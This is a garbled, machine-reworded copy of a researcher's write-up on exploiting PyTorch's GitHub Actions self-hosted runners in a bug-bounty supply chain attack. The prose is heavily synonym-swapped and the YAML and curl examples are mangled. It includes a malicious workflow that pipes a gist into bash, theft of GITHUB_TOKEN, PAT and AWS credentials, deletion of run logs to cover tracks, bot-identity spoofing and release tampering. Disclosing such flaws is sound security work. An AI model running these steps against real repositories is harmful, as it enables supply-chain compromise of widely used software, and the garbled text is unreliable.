Enjoying with Hearth – How We Executed a Essential Provide Chain Assault on PyTorch – John Stawinski IV
Safety tends to lag behind adoption, and AI/ML is not any exception.
4 months in the past, Adnan Khan and I exploited a crucial CI/CD vulnerability in PyTorch, one of many world’s main ML platforms. Utilized by titans like Google, Meta, Boeing, and Lockheed Martin, PyTorch is a serious goal for hackers and nation-states alike.
Fortunately, we exploited this vulnerability earlier than the dangerous guys.
Right here is how we did it.
Earlier than we dive in, let’s scope out and talk about why Adnan and I have been taking a look at an ML repository. Let me provide you with a touch — it was to not gawk on the neural networks. In reality, I don’t know sufficient about neural networks to be certified to gawk.
PyTorch was one of many first steps on a journey Adnan and I began six months in the past, based mostly on CI/CD analysis and exploit growth we carried out in the summertime of 2023. Adnan began the bug bounty foray by leveraging these assaults to use a critical vulnerability in GitHub, gathering a $20,000 reward. Following this assault, we teamed as much as uncover different weak repositories.
The outcomes of our analysis stunned everybody, together with ourselves, as we constantly executed provide chain compromises of leading ML platforms, billion-dollar Blockchains, and extra. Within the seven days since we launched our preliminary weblog posts, they’ve caught on in the security world.
However, you most likely didn’t come right here to examine our journey; you got here to learn concerning the messy particulars of our assault on PyTorch. Let’s start.
Our exploit path resulted within the potential to add malicious PyTorch releases to GitHub, add releases to AWS, doubtlessly add code to the primary repository department, backdoor PyTorch dependencies – the listing goes on. Briefly, it was dangerous. Fairly dangerous.
As we’ve seen earlier than with SolarWinds, Ledger, and others, provide chain assaults like this are killer from an attacker’s perspective. With this stage of entry, any respectable nation-state would have a number of paths to a PyTorch provide chain compromise.
To know our exploit, it’s essential perceive GitHub Actions.
Need to skip round? Go forward.
- Background
- Tell Me the Impact
- GitHub Actions Primer
- Identifying the Vulnerability
- Executing the Attack
- Post Exploitation
- Submission Details – No Bueno
- Mitigations
- Is PyTorch an Outlier?
- References
In case you’ve by no means labored with GitHub Actions or related CI/CD platforms, I like to recommend reading up earlier than persevering with this weblog put up. Truly, if I lose you at any level, go and Google the know-how that confused you. Usually, I like to start out from the very fundamentals in my articles, however explaining all of the concerned CI/CD processes could be a novel in itself.
Briefly, GitHub Actions permit the execution of code specified inside workflows as a part of the CI/CD course of.
For instance, let’s say PyTorch needs to run a set of assessments when a GitHub person submits a pull request. PyTorch can outline these assessments in a YAML workflow file utilized by GitHub Actions and configure the workflow to run on the pull_request set off. Now, every time a person submits a pull request, the assessments will execute on a runner. This manner, repository maintainers don’t have to manually take a look at everybody’s code earlier than merging.
The general public PyTorch repository makes use of GitHub Actions extensively for CI/CD. Truly, extensively is an understatement. PyTorch has over 70 completely different GitHub workflows and sometimes runs over ten workflows each hour. One of the crucial tough elements of this operation was scrolling by all the completely different workflows to pick those we have been eager about.
GitHub Actions workflows execute on two forms of construct runners. One kind is GitHub’s hosted runners, which GitHub maintains and hosts of their atmosphere. The opposite class is self-hosted runners.
Self-Hosted Runners
Self-hosted runners are construct brokers hosted by finish customers operating the Actions runner agent on their very own infrastructure. In much less technical phrases, a “self-hosted runner” is a machine, VM, or container configured to run GitHub workflows from a GitHub group or repository. Securing and defending the runners is the duty of finish customers, not GitHub, which is why GitHub recommends towards utilizing self-hosted runners on public repositories. Apparently, not everybody listens to GitHub, including GitHub.
It doesn’t assist that a few of GitHub’s default settings are lower than safe. By default, when a self-hosted runner is hooked up to a repository, any of that repository’s workflows can use that runner. This setting additionally applies to workflows from fork pull requests. Keep in mind that anybody can submit a fork pull request to a public GitHub repository. Sure, even you. The results of these settings is that, by default, any repository contributor can execute code on the self-hosted runner by submitting a malicious PR.
Be aware: A “contributor” to a GitHub repository is anybody who has added code to the repository. Usually, somebody turns into a contributor by submitting a pull request that then will get merged into the default department. Extra on this later.
If the self-hosted runner is configured utilizing the default steps, it is going to be a non-ephemeral self-hosted runner. Which means that the malicious workflow can begin a course of within the background that can proceed to run after the job completes, and modifications to information (resembling applications on the trail, and so forth.) will persist previous the present workflow. It additionally signifies that future workflows will run on that very same runner.
Figuring out Self-Hosted Runners
To establish self-hosted runners, we ran Gato, a GitHub assault and exploitation software developed by Praetorian. Amongst different issues, Gato can enumerate the existence of self-hosted runners inside a repository by inspecting GitHub workflow information and run logs.
Gato recognized a number of persistent, self-hosted runners utilized by the PyTorch repository. We checked out repository workflow logs to verify the Gato output.
The identify “worker-rocm-amd-30” signifies the runner is self-hosted.
Figuring out Workflow Approval Necessities
Though PyTorch used self-hosted runners, one main factor may nonetheless cease us.
The default setting for workflow execution from fork PRs requires approval just for accounts that haven’t beforehand contributed to the repository. Nonetheless, there may be an choice to permit workflow approval for all fork PRs, together with earlier contributors. We got down to uncover the standing of this setting.
Viewing the pull request (PR) historical past, we discovered a number of PRs from earlier contributors that triggered pull_request workflows with out requiring approval. This indicated that the repository didn’t require workflow approval for Fork PRs from earlier contributors. Bingo.
No one had authorised this fork PR workflow, but the “Lint / quick-checks / linux-job” workflow ran on pull_request, indicating the default approval setting was possible in place.
Trying to find Affect
Earlier than executing these assaults, we prefer to establish GitHub secrets and techniques that we could possibly steal after touchdown on the runner. Workflow information revealed a number of GitHub secrets and techniques utilized by PyTorch, together with however not restricted to:
- “aws-pytorch-uploader-secret-access-key”
- “aws-access-key-id”
- “GH_PYTORCHBOT_TOKEN” (GitHub Private Entry Token)
- “UPDATEBOT_TOKEN” (GitHub Private Entry Token)
- “conda-pytorchbot-token”
We have been psyched once we noticed the GH_PYTORCHBOT_TOKEN and UPDATEBOT_TOKEN. A PAT is one in every of your Most worthy weapons if you wish to launch a provide chain assault.
Utilizing self-hosted runners to compromise GitHub secrets and techniques just isn’t all the time attainable. A lot of our analysis has been round self-hosted runner post-exploitation; determining strategies to go from runner to secrets and techniques. PyTorch supplied an ideal alternative to check these strategies within the wild.
1. Fixing a Typo
We would have liked to be a contributor to the PyTorch repository to execute workflows, however we didn’t really feel like spending time including options to PyTorch. As a substitute, we discovered a typo in a markdown file and submitted a repair. One other win for the Grammar Police.
Sure, I’m re-using this meme from my last article, nevertheless it matches too effectively.
2. Getting ready the Payload
Now we needed to craft a workflow payload that will permit us to acquire persistence on the self-hosted runner. Crimson Teamers know that putting in persistence in manufacturing environments sometimes isn’t as trivial as a reverse Netcat shell. EDR, firewalls, packet inspection, and extra will be in play, notably in giant company environments.
Once we began these assaults, we requested ourselves the next query – what may we use for C2 that we all know for certain would bypass EDR with visitors that will not be blocked by any firewall? The reply is elegant and apparent – we may set up one other self-hosted GitHub runner and fasten it to our personal GitHub group.
Our “Runner on Runner” (RoR) approach makes use of the identical servers for C2 as the present runner, and the one binary we drop is the official GitHub runner agent binary, which is already operating on the system. See ya, EDR and firewall protections.
We created a script to automate the runner registration course of and included that as our malicious workflow payload. Storing our payload in a gist, we submitted a malicious draft PR. The modified workflow appeared one thing like this:
identify: “🚨 pre-commit”
run-name: “Refactoring and cleanup”
on:
pull_request:
branches: principal
jobs:
construct:
identify: Linux ARM64
runs-on: ${{ matrix.os }}
technique:
matrix:
os: [
{system: “ARM64”, name: “Linux ARM64”},
{system: “benchmark”, name: “Linux Intel”},
{system: “glue-notify”, name: “Windows Intel”}
]
steps:
– identify: Lint Code Base
continue-on-error: true
env:
VERSION: ${{ matrix.model }}
SYSTEM_NAME: ${{ matrix.os }}
run: curl <GIST_URL> | bash
This workflow executes the RoR gist payload on three of PyTorch’s self-hosted runners – a Linux ARM64 machine named “ARM64”, an Intel system named “benchmark,” and a Home windows field named “glue-notify.”
Enabling draft standing ensured that repository maintainers wouldn’t obtain a notification. Nonetheless, with the complexity of PyTorch’s CI/CD atmosphere, I’d be stunned in the event that they seen both method. We submitted the PR and put in our RoR C2 on every self-hosted runner.
We used our C2 repository to execute the pwd && ls && /house && ip a command on the runner labeled “jenkins-worker-rocm-amd-34”, confirming secure C2 and distant code execution. We additionally ran sudo -l to verify we had root entry.
We now had root a self-hosted runner. So what? We had seen earlier stories of gaining RCE on self-hosted runners, they usually have been usually met with ambiguous responses as a consequence of their ambiguous influence. Given the complexity of those assaults, we wished to reveal a reputable influence on PyTorch to persuade them to take our report significantly. And we had some cool new post-exploitation strategies we’d been desirous to strive.
The Nice Secret Heist
In cloud and CI/CD environments, secrets and techniques are king. Once we started our post-exploitation analysis, we centered on the secrets and techniques an attacker may steal and leverage in a typical self-hosted runner setup. Many of the secret stealing begins with the GITHUB_TOKEN.
The Magical GITHUB_TOKEN
Usually, a workflow must checkout a GitHub repository to the runner’s filesystem, whether or not to run assessments outlined within the repository, commit adjustments, and even publish releases. The workflow can use a GITHUB_TOKEN to authenticate to GitHub and carry out these operations. GITHUB_TOKEN permissions can range from read-only entry to intensive write privileges over the repository. If a workflow executes on a self-hosted runner and makes use of a GITHUB_TOKEN, that token can be on the runner in the course of that construct.
PyTorch had a number of workflows that used the actions/checkout step with a GITHUB_TOKEN that had write permissions. For instance, by looking by workflow logs, we are able to see the periodic.yml workflow additionally ran on the jenkins-worker-rocm-amd-34 self-hosted runner. The logs confirmed that this workflow used a GITHUB_TOKEN with intensive write permissions.
This token would solely be legitimate for the lifetime of that specific construct. Nonetheless, we developed some particular strategies to increase the construct size as soon as you might be on the runner (extra on this in a future put up). As a result of insane variety of workflows that run every day from the PyTorch repository, we weren’t frightened about tokens expiring, as we may all the time compromise one other one.
When a workflow makes use of the actions/checkout step, the GITHUB_TOKEN is saved within the .git/config file of the checked-out repository on the self-hosted runner throughout an lively workflow. Since we managed the runner, all we needed to do was wait till a non-PR workflow ran on the runner with a privileged GITHUB_TOKEN after which print out the contents of the config file.
We used our RoR C2 to steal the GITHUB_TOKEN of an ongoing workflow with write permissions.
Overlaying our Tracks
Our first use of the GITHUB_TOKEN was to remove the run logs from our malicious pull request. We wished a full day to carry out post-exploitation and didn’t need to trigger any alarms from our exercise. We used the GitHub API together with the token to delete the run logs for every of the workflows our PR triggered. Stealth mode = activated.
curl -L
-X DELETE
-H “Settle for: software/vnd.github+json”
-H “Authorization: Bearer $STOLEN_TOKEN”
-H “X-GitHub-Api-Model: 2022-11-28”
<a href=”https://api.github.com/repos/pytorch/pytorch/runs/https://api.github.com/repos/pytorch/pytorch/runs/<run_id>
If you need a problem, you’ll be able to attempt to uncover the workflows related to our preliminary malicious PR and observe that the logs now not exist. In actuality, they possible wouldn’t have caught our workflows anyway. PyTorch has so many workflow runs that it reaches the restrict for a single repository after a couple of days.
Modifying Repository Releases
Utilizing the token, we may add an asset claiming to be a pre-compiled, ready-to-use PyTorch binary and add a launch observe with directions to run and obtain the binary. Any customers that downloaded the binary would then be operating our code. If the present supply code property weren’t pinned to the discharge commit, the attacker may overwrite these property straight. As a POC, we used the next cURL request to change the identify of a PyTorch GitHub launch. We simply as simply may have uploaded our personal property.
curl -L
-X PATCH
-H “Settle for: software/vnd.github+json”
-H “Authorization: Bearer $GH_TOKEN”
-H “X-GitHub-Api-Model: 2022-11-28”
https://api.github.com/repos/pytorch/pytorch/releases/102257798
-d ‘{“tag_name”:”v2.0.1″,”identify”:”PyTorch 2.0.1 Launch, bug repair launch (- John Stawinski)”}’
As a POC, we added my identify to the most recent PyTorch launch on the time. A malicious attacker may execute the same API request to interchange the most recent launch artifact with their malicious artifact.
Repository Secrets and techniques
If backdooring PyTorch repository releases sounds enjoyable, effectively, that’s solely a fraction of the influence we achieved once we checked out repository secrets and techniques.
The PyTorch repository used GitHub secrets and techniques to permit the runners to entry delicate methods throughout the automated launch course of. The repository used so much of secrets and techniques, together with a number of units of AWS keys and GitHub Private Entry Tokens (PATs) mentioned earlier.
Particularly, the weekly.yml workflow used the GH_PYTORCHBOT_TOKEN and UPDATEBOT_TOKEN secrets and techniques to authenticate to GitHub. GitHub Private Entry Tokens (PATs) are sometimes overprivileged, making them an ideal goal for attackers. This workflow didn’t run on a self-hosted runner, so we couldn’t await a run after which steal the secrets and techniques from the filesystem (a way we use regularly).
The weekly.yml workflow used two PATs as secrets and techniques. This workflow known as the _update-commit-hash workflow, which specified use of a GitHub-hosted runner.
Though this workflow wouldn’t run on our runner, the GITHUB_TOKENs we may compromise had actions:write privileges. We may use the token to set off workflows with the workflow_dispatch occasion. May we use that to run our malicious code within the context of the weekly.yml workflow?
We had some concepts however weren’t certain whether or not they’d work in follow. So, we determined to seek out out.
It seems that you may’t use a GITHUB_TOKEN to change workflow information. Nonetheless, we found a number of inventive…”workarounds”…that can allow you to add malicious code to a workflow utilizing a GITHUB_TOKEN. On this situation, weekly.yml used one other workflow, which used a script outdoors the .github/workflows listing. We may add our code to this script in our department. Then, we may set off that workflow on our department, which might execute our malicious code.
If this sounds complicated, don’t fear; it additionally confuses most bug bounty applications. Hopefully, we’ll get to supply an in-depth have a look at this and our different post-exploitation strategies at a sure safety convention in LV, NV. If we don’t get that chance, we’ll cowl our different strategies in a future weblog put up.
Again to the motion. To execute this section of the assault, we compromised one other GITHUB_TOKEN and used it to clone the PyTorch repository. We created our personal department, added our payload, and triggered the workflow.
As a stealth bonus, we modified our git username within the decide to pytorchmergebot, in order that our commits and workflows seemed to be triggered by the pytorchmergebot person, who interacted regularly with the PyTorch repository.
Our payload ran within the context of the weekly.yml workflow, which used the GitHub secrets and techniques we have been after. The payload encrypted the 2 GitHub PATs and printed them to the workflow log output. We protected the personal encryption key in order that solely we may carry out decryption.
We triggered the weekly.yml workflow on our citesting1112 department utilizing the next cURL command.
curl -L
-X POST
-H “Settle for: software/vnd.github+json”
-H “Authorization: Bearer $STOLEN_TOKEN”
-H “X-GitHub-Api-Model: 2022-11-28”
https://api.github.com/repos/pytorch/pytorch/actions/workflows/weekly.yml/dispatches
-d ‘{“ref”:”citesting1112″}’
Navigating to the PyTorch “Actions” tab, we noticed our encrypted output containing the PATs within the outcomes of the “Weekly” workflow.
Lastly, we canceled the workflow run and deleted the logs.
PAT Entry
After decrypting the GitHub PATs, we enumerated their entry with Gato.
We decrypted the PATs with our personal key.
Gato revealed the PATs had entry to over 93 repositories inside the PyTorch group, together with many personal repos and administrative entry over a number of. These PATs supplied a number of paths to provide chain compromise.
For instance, if an attacker didn’t need to hassle with tampering releases, they might possible add code on to the primary department of PyTorch. The primary department was protected, however the PAT belonging to pytorchbot may create a brand new department and add its personal code, after which the PAT belonging to pytorchupdatebot may approve the PR. We may then use pytorchmergebot to set off the merge.
We didn’t use that assault path so as to add code to the primary department, however current PyTorch PRs indicated it was attainable. Even when an attacker couldn’t push on to the primary department, there are different paths to provide chain compromise.
If the risk actor wished to be extra stealthy, they might add their malicious code to one of many different personal or public repositories utilized by PyTorch inside the PyTorch group. These repositories had much less visibility and have been much less prone to be carefully reviewed. Or, they might smuggle their code right into a characteristic department, or steal extra secrets and techniques, or do any variety of inventive strategies to compromise the PyTorch provide chain.
AWS Entry
To show that the PAT compromise was not a one-off, we determined to steal extra secrets and techniques – this time, AWS keys.
We received’t bore you with all the main points, however we executed the same assault to the one above to steal the aws-pytorch-uploader-secret-access-key and aws-access-key-id belonging to the pytorchbot AWS person. These AWS keys had privileges to add PyTorch releases to AWS, offering one other path to backdoor PyTorch releases. The influence of this assault would depend upon the sources that pulled releases from AWS and the opposite property on this AWS account.
We used the AWS CLI to verify the AWS credentials belonged to the pytorchbot AWS person.
We listed the contents of the “pytorch” bucket, revealing many delicate artifacts, together with PyTorch releases.
We found manufacturing PyTorch artifacts and confirmed write entry to S3. We’re nonetheless uncertain as to which sources use these AWS releases.
There have been different units of AWS keys, GitHub PATs, and varied credentials we may have stolen, however we believed we had a transparent demonstration of influence at this level. Given the crucial nature of the vulnerability, we wished to submit the report as quickly as attainable earlier than one in every of PyTorch’s 3,500 contributors determined to make a take care of a international adversary.
A full assault path diagram.
Total, the PyTorch submission course of was blah, to make use of a technical time period. They regularly had lengthy response occasions, and their fixes have been questionable.
We additionally realized this wasn’t the primary time they’d points with self-hosted runners – earlier in 2023, Marcus Younger executed a pipeline assault to realize RCE on a single PyTorch runner. Marcus didn’t carry out the post-exploitation strategies we used to reveal influence, however PyTorch nonetheless ought to have locked down their runners after his submission. Marcus’ report earned him a $10,000 bounty.
We haven’t investigated PyTorch’s new setup sufficient to supply our opinion on their answer to securing their runners. Somewhat than require approval for contributor’s fork PRs, PyTorch opted to implement a layer of controls to stop abuse.
Timeline
August ninth, 2023 – Report submitted to Meta bug bounty
August tenth, 2023 – Report “despatched to applicable product group”
September eighth, 2023 – We reached out to Meta to ask for an replace
September twelfth, 2023 – Meta mentioned there is no such thing as a replace to supply
October sixteenth, 2023 – Meta mentioned “we think about the problem mitigated, if you happen to suppose this wasn’t totally mitigated, please tell us.”
October sixteenth, 2023 – We responded by saying we believed the problem had not been totally mitigated.
November 1st, 2023 – We reached out to Meta, asking for one more replace.
November twenty first, 2023 – Meta responded, saying they reached out to a group member to supply an replace.
December seventh, 2023 – After not receiving an replace, we despatched a strongly worded message to Meta, expressing our issues concerning the disclosure course of and the delay in remediation.
December seventh, 2023 – Meta responded, saying they believed the problem was mitigated and the delay was relating to the bounty.
December seventh, 2023 – A number of back-and-forths ensued discussing remediation.
December fifteenth, 2023 – Meta awarded a $5000 bounty, plus 10% because of the delay in payout.
December fifteenth, 2023 – Meta supplied extra element as to the remediation steps they carried out after the preliminary vulnerability disclosure and supplied to arrange a name if we had extra questions.
December sixteenth, 2023 – We responded, opting to not arrange a name, and requested a query about bounty payout (at this level, we have been fairly accomplished with taking a look at PyTorch).
The simplest strategy to mitigate this class of vulnerability is to vary the default setting of ‘Require approval for first-time contributors’ to ‘Require approval for all outdoors collaborators’. It’s a no-brainer for any public repository that makes use of self-hosted runners to make sure they use the restrictive setting, though PyTorch appears to disagree.
If workflows from fork-PRs are crucial, organizations ought to solely use GitHub-hosted runners. If self-hosted runners are additionally crucial, use remoted, ephemeral runners and guarantee you understand the dangers concerned.
It’s difficult to design an answer permitting anybody to run arbitrary code in your infrastructure with out dangers, particularly in a company like PyTorch that thrives off neighborhood contributions.
The problems surrounding these assault paths aren’t distinctive to PyTorch. They’re not distinctive to ML repositories and even to GitHub. We’ve repeatedly demonstrated provide chain weaknesses by exploiting CI/CD vulnerabilities on the earth’s most advanced technological organizations throughout a number of CI/CD platforms, and people are solely a small subset of the better assault floor.
Risk actors are beginning to catch on, as proven by the year-over-year improve in provide chain assaults. Safety researchers received’t all the time have the ability to discover these vulnerabilities earlier than malicious attackers.
However on this case, the researchers received there first.
Need to hear extra? Subscribe to the official John IV newsletter to obtain reside, month-to-month updates of my pursuits and passions.